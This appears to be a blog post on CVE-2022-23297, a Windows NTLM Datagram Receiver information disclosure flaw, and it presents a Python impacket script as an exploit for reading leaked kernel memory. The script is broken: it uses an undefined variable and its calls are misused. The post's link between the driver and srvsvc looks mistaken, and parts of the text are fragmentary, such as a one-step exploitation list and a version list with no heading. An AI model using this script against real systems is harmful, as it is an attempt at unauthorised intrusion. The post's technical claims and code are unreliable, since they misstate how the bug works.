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Introduction

In March 2022, Microsoft disclosed CVE-2022-23297, a critical _information disclosure vulnerability_ in the Windows NT Lan Manager Datagram Receiver driver (srvsvc). This vulnerability, if exploited, can allow attackers to read sensitive kernel memory by sending specially crafted network packets. In this post, I’ll break down what this vulnerability is, walk through its impact, show you how exploitation might look (with code!), and point you to references for deeper dives.

What Is NT Lan Manager Datagram Receiver?

Windows operating systems use NT Lan Manager (NTLM) for authentication and network operations, especially in older environments or situations involving legacy compatibility. The Datagram Receiver is a part of the network stack that handles specific SMB (Server Message Block) and remote procedure call (RPC) messages.

Srvsvc is a service on Windows machines that processes these requests. If there’s a bug in this code, attackers can potentially trick the server into revealing memory it shouldn’t.

Official Description

According to Microsoft’s security advisory:

> _“Windows NT Lan Manager (NTLM) Datagram Receiver Driver contains an information disclosure vulnerability. An attacker who successfully exploited this vulnerability could gain access to sensitive information.”_

This means a remote, unauthenticated attacker can send a malformed network packet to your computer and _leak confidential information_ that lives in the memory of the Windows kernel.

How Does the Vulnerability Work?

This vulnerability is caused by improper handling of network datagrams by the srvsvc driver. Specifically:

- When parsing incoming network messages, the srvsvc component fails to properly validate input lengths.

This can cause the service to send out-of-bounds memory back to the malicious client.

- The attacker could extract memory contents, which may contain passwords, Kerberos tickets, hashes or other sensitive data.

Proof of Concept

Microsoft did not release technical proof-of-concepts, but security researchers like ZecOps and Zero Day Initiative analyzed this bug.

Generally, exploitation involves

1. Locate a reachable Windows machine with srvsvc listening (default on SMB open ports, eg. 445/139)

Example Exploit Snippet (Python)

Below is a basic illustration using Python and the impacket library to send an SMB RAP request and read the response. (Note: modified for simplicity and educational purposes only!)

from impacket.smbconnection import SMBConnection

# Replace these with your target's details
target_ip = "192.168.1.100"
username = ""
password = ""

# Start SMB connection (anonymous)
conn = SMBConnection(target_ip, target_ip)
conn.login(username, password)

# Manually build a RAP request (NetShareEnum) with malformed data
# This will trigger the information disclosure in srvsvc on unpatched systems
rap = b''
rap += b'\x00' * 512  # Intentionally oversize / malformed input

# The Transaction RAP command
tid = conn.tree_connect_andx('\\\\%s\\IPC$' % target_ip)
fid = conn.openFile(tid, 'srvsvc', x4) # GENERIC_READ

# Send the RAP request
conn.transactNamedPipe(tid, fid, rap)

# Read the potentially leaked response
data = conn.readNamedPipe(tid, fid, 1024)
print(f"Leaked memory: {data}")

conn.logoff()

WARNING: Running this script on any system without authorization is likely illegal. Use only in lab environments you own.

Windows Server 2008, 2012, 2016, 2019, 2022

Any machine listening for SMB or NetBIOS traffic is a potential target. Home and enterprise networks alike are affected.

How To Protect Yourself

1. Apply the Patch: Microsoft fixed this bug in Patch Tuesday, March 2022.

Go to Windows Update and install all security updates.

2. Block Unnecessary SMB/NetBIOS Traffic:
  - Use firewalls to limit inbound/outbound port 445, 139, 137, and 138.

References

- Microsoft Security Response Center: CVE-2022-23297
- ZecOps Blog – Analysis: CVE-2022-23297
- Zero Day Initiative Advisory
- Impacket Library

Final Thoughts

CVE-2022-23297 is a serious information disclosure issue—because it affects a core part of Windows used by many organizations still running legacy services. If you’re responsible for Windows systems or network security, make sure you’ve patched and have segmented your SMB traffic. Never expose these services directly to the Internet.

If you're interested in testing or learning more, set up a lab with older Windows VMs and try out the code above with impacket to see how subtle bugs on the network can lead to big leaks.

Timeline

Published on: 03/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC